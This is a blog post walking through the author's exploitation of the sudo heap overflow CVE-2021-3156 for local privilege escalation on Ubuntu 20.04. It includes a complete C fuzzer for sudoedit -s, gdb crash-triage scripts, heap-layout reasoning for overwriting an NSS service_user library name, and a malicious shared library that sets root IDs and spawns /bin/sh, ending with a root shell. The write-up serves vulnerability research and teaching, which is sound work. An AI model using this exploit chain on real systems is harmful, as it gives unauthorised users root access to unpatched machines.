Posts Exploiting CVE-2021-3156 (sudo heap overflow)
Post
Cancel

Exploiting CVE-2021-3156 (sudo heap overflow)

Introduction


Last month, in this article, Qualys disclosed a vulnerability that has been affecting all versions of the program sudo for the last 10 years which can lead to a local privilege escalation. While they suggested some exploitation paths, they didn’t provide a PoC so I thought I would take a stab at exploiting this bug myself.

The list of vulnerable versions is in the original article. Here I will be using sudo 1.8.31 on ubuntu 20.04.

The Bug


The vulnerable code is in the set_cmnd function in plugins/sudoers/sudoers.c. Here is a copy :

1
2
3
4
5
6
7
8
9
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
		    while (*from) {
			if (from[0] == '\\' && !isspace((unsigned char)from[1]))
			    from++;
			*to++ = *from++;
		    }
		    *to++ = ' ';
		}

This code copies the command line arguments provided by the user (stored in av) into the buffer user_args.

Before reaching this code, special characters are escaped by prepending a backslash to them. This is why whenever, ‘\’ is encountered, the parser skips a byte (line 3-5). It expects that every ‘\’ is followed by a special character.

But what if a command line argument actually contained a ‘\’ ? The parser would skip it and copy the next char directly. ‘AB\CD’ would get parsed as ‘ABCD’.

Now what if the command line argument ended with a ‘\’ ? The parser would skip it, copy the string-terminating null byte to user_args and increment the variable to which would now point 1 byte past the buffer. It would then continue copying whatever happens to be in memory after the command line argument (meaning, the other arguments and then the environment variables).

Normally this would not be possible because sudo should escape the ‘\’ character. However, the Qualys researcher discovered that if sudoedit -s (which is a symlink to sudo)is used instead of sudo, no escaping is done. This little subtlety might explain why this bug went unnoticed for so many years.

Let’s try triggering the bug :

sudo

As you can see, depending on the length of the overflow, we get different crashes.

This overflow is ideal for a few reasons :

  • We control the size of the allocation (it’s the length of the argument) and its content
  • We control the length and content of the overflow (through environment variables)
  • We can insert null bytes (if the string is just “\”, the backslash gets skipped and only the null byte is copied)

However, I didn’t really know what to aim for with the overflow so my first approach was to randomly generate the parameters we control and look for interesting crashes.

Fuzzing to the rescue


Here is the fuzzer I wrote :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include<unistd.h>
#include<stdio.h>
#include<fcntl.h>
#include<time.h>
#include<stdlib.h>
#include<sys/wait.h>
#include<string.h>

#define NB_ITER 5000

#define MAX_LEN 20000
#define MAX_ENV 300

/* Generates a string that is either a single '\'
 * or a random number of 'A' followed by a '\' */
char *rand_str(){
    char *buf;
    if (rand()%2){
        int r = rand() % MAX_LEN;
        buf = malloc(r+3);
        for(int i = 0; i<r; i++){
            buf[i] = 'A';
        }
        buf[r] = '\\';
        buf[r+1] = 0;
    }
    else{
        buf = malloc(2);
        buf[0] = '\\';
        buf[1] = 0;
    }
    return buf;
}

int main (void){
    srand(time(NULL));
    int nbr_env, ret;
    char* env[MAX_ENV] = {};

    for(int j = 0; j<NB_ITER;j++){

        /* Generate an environment of 
         * random length composed of 
         * random strings */
        nbr_env = rand() % MAX_ENV;
        for (int i = 0; i<nbr_env; i++){
            env[i] = rand_str();
        }
        
        /* Generate a command line argument 
         * of the form "AAAAAAAAAA\" */
        char* argument = rand_str();
        strcat(argument, "\\");
        char* argv[] = {"/usr/local/bin/sudoedit", "-s",argument,NULL};

        pid_t childpid = fork();
        if (childpid){
            // Parent process 
            waitpid(childpid, &ret, 0); 
            if(j%50 == 0){
                printf("#%d : %d\n", j, ret);
            }
            /* If the child segfaults, we log
             * the parameters in a file */
            if(ret == 139){ 
                char filename[20];
                sprintf(filename, "crash_%d",j);     
                FILE *crash_report = fopen(filename, "w");
                fwrite("env = {\n", 1, 8, crash_report);
                for(int i = 0; i<nbr_env; i++){
                    fwrite(env[i], 1, strlen(env[i]), crash_report);
                    fwrite("\n", 1, 1, crash_report);
                }
                fwrite("}\n\n", 1, 3, crash_report);
                fwrite("argv = {\n", 1, 9, crash_report);
                for(int i = 0; i<3; i++){
                    fwrite(argv[i], 1, strlen(argv[i]), crash_report);
                    fwrite("\n", 1, 1, crash_report);
                }
                fwrite("}\n", 1, 2, crash_report);
                fclose(crash_report);
            }
        for (int i = 0; i<nbr_env; i++){
            free(env[i]);
        }
        }
        else{
            // Child process 
            // Run the program
            int fd = open("/dev/null", O_WRONLY);
            dup2(fd, 1);
            dup2(fd, 2);
            close(fd);
            execve("/usr/local/bin/sudoedit", argv, env);
        }
    }
    return 0;
}

A problem I encountered was that when the program didn’t crash, the fuzzer would get stuck on the sudo password prompt. To fix that, I grabbed the source and patched the password checking function in plugins/sudoers/auth/sudo_auth.c to always fail.

sudo

This fuzzer found many different crashes that I inspected in gdb. Using the pwndbg command vis <nbr of chunks> allows us to view a given number of chunks on the heap. (beware that a corrupted size field will trip up the visualization).

By searching for a long string of ‘A’ we can easily locate our overflown chunk.

sudo

But looking up in the heap we see another interesting chunk which stores the value of an environment variable (that we can control):

sudo The LANG environment variable gets copied high up on the heap

I tried changing the length of the variable and observing the heap and noticed that certain lengths resulted in a freed chunk being located up on the heap when our bug is triggered. This is interesting for us because if our chunk fits in this free space, then it might get allocated there. The overflow will corrupt a different part of the heap thus creating different crashes.

sudo

sudo

It turns out that sudo uses LC Environment Variables for multicultural support. They get copied on the heap and then freed early in the the execution which affects the state of the heap. I modified my “fuzzer” to also generate LC variables of random lengths.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
        if(rand()){
            LC_ALL_ = malloc(MAX_LEN+18);
            strncpy(LC_ALL_, "LC_ALL=", 7);
            LC_ALL_[7] = 0;
            strcat(LC_ALL_, rand_str(MAX_LEN_LC, 1));
            env[nbr_env-LC_count-1] = LC_ALL_;
        }

        if(rand()){
            LC_MEASUREMENT_ = malloc(MAX_LEN+28);
            strncpy(LC_MEASUREMENT_, "LC_MEASUREMENT=en_US.UTF-8", 26);
            LC_MEASUREMENT_[26] = 0;
            strcat(LC_MEASUREMENT_, rand_str(MAX_LEN_LC, 1));
            env[nbr_env-LC_count-1] = LC_MEASUREMENT_;
        }
		// And so on for other LC variables

I let it run overnight and woke up to thousands of crashes which made it impossible to inspect each one manually.

Crash triaging


To triage all those crash reports, I wrote a wrapper that reads the parameters we saved from a file and reproduces the crash.

I used this gdb script to dump the state of the program at time of crash.

1
2
3
4
5
6
#gdb_triage_script
r
bt
i r
x/10i $rip
quit

And ran all the crash reports through this using a bash loop.

for crash in crash_* ; do /usr/bin/sudo gdb -q -x ./gdbtriage.init --args ./wrapper $crash > triage_$crash; done

Here is an example of a set of parameters and its associated debug information.

sudo Example of a crash report

This allowed me to easily look for interesting crashes :

sudo Greping for crashes that happened inside load_library

Exploitation


I am sure many of the crashes found were exploitable, but while reading through the crash reports, I did recognize one of the options mentionned in the original Qualys article so this is where I concentrated my efforts.

Here is the idea:

To work correctly in the local environment, sudo uses a GLibc feature called Name Service Switch (NSS). This is how it gets access to group information, passwd and shadow file, sudoers policy etc.

Some structures are maintened on the heap, for the different services offered by NSS and the libraries they rely upon (if one is used). They take the form of a linked list on the heap starting from the service_table object.

sudo name_database_entry structs on the heap

sudo service_user structs on the heap

If we were to overflow into one of those structures and write the name of a library we control, when the program attempts to use it, our code will get executed instead. A major advantage of this method is that is bypasses ASLR since we just provide the name of the .so file we want to load. Let’s write a simple shared library that spawns a shell when loaded :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
 
static void __attribute__ ((constructor)) _init(void);
 
static void _init(void) {
    setuid(0); 
    seteuid(0); 
    setgid(0); 
    setegid(0);
    static char *arg[] = {"sh", NULL};
    execv("/bin/sh", arg);
}

Now let’s inspect the heap layout at time of crash.

sudo

Unfortunately, in this crash, our chunk at 0x555555582990 comes after the target service_user struct (which contains the library name) )which is at 0x55555557c340. Therefore, we can’t overflow into it.

There are 3 possible ordering of the relevant objects on the heap : (As a reminder user_args is the chunk we control and service_user is the target.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
                                                               Low addresses
       (1)                     (2)                     (3)           |
 +-------------+    |    +-------------+    |    +-------------+     |
 |service_table|    |    |service_table|    |    |  user_args  |     |
 +-------------+    |    +-------------+    |    +-------------+     V
                    |                       | 
 +-------------+    |    +-------------+    |    +-------------+
 |service_user |    |    |  user_args  |    |    |service_table|
 +-------------+    |    +-------------+    |    +-------------+
                    |                       | 
 +-------------+    |    +-------------+    |    +-------------+
 |  user_args  |    |    |service_user |    |    |service_user |
 +-------------+    |    +-------------+    |    +-------------+
                    |                       |
 We are past our    |      Perfect!!        |    We corrupt 
 target.            |                       |    the service_table
 Nothing to         |                       |    on our way to 
 overwrite.         |                       |    service_user which
                    |                       |    causes a premature
                    |                       |    crash. 

Thankfully I had collected a ton of crashes with all sorts of heap layouts through fuzzing. I selected the shortest one that had configuration (2).

sudo

And after a lot of trial and error, I managed to overwrite the library name with “X/X”. (To comply with the naming convention used by NSS the library is called libnss_X/X.so.2.)

sudo

There are a few more hoops we need to jump through like inserting null bytes at the right spot to prevent early crashes but I won’t go into the details.

Here is the final result : sudo

This post is licensed under CC BY 4.0 by the author.